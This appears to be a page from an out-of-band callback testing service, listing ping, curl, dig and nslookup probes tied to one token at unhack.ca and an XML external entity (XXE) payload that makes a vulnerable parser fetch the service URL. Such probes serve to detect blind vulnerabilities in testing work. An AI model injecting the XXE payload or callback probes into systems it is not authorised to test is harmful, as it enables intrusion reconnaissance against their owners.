$ ping -c1 -p 00722f49930f01727d9b7b00d9ba0800 unhack.ca
 
$ curl http://unhack.ca/p/722f49930f01727d9b7b00d9ba08
 
$ dig 722f49930f01727d9b7b00d9ba08 @unhack.ca
 
$ dig 722f49930f01727d9b7b00d9ba08.ns.unhack.ca
 
C:\> nslookup 722f49930f01727d9b7b00d9ba08 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/722f49930f01727d9b7b00d9ba08">]>
    <foo>&xxe;</foo>
 
Waiting for ping...